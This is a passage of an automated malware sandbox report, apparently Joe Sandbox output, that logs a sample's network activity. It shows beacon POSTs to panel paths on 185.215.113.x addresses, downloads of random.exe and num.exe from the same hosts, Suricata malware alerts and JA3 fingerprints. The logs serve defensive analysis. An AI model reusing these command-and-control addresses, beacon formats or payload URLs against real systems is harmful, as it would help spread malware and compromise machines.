Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002780001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002781001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002782001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002783001&unit=246122658369
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 20.125.209.212 20.125.209.212
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:58379 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:58380 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:58383 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:58384 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:58444 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:58476 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:58576 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:58585 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:58599 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:58585 -> 185.215.113.16:80
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B1BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile, 6_2_00B1BD60
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VU6KCf4Ml2TtAPc&MD=XYtDgPYB HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
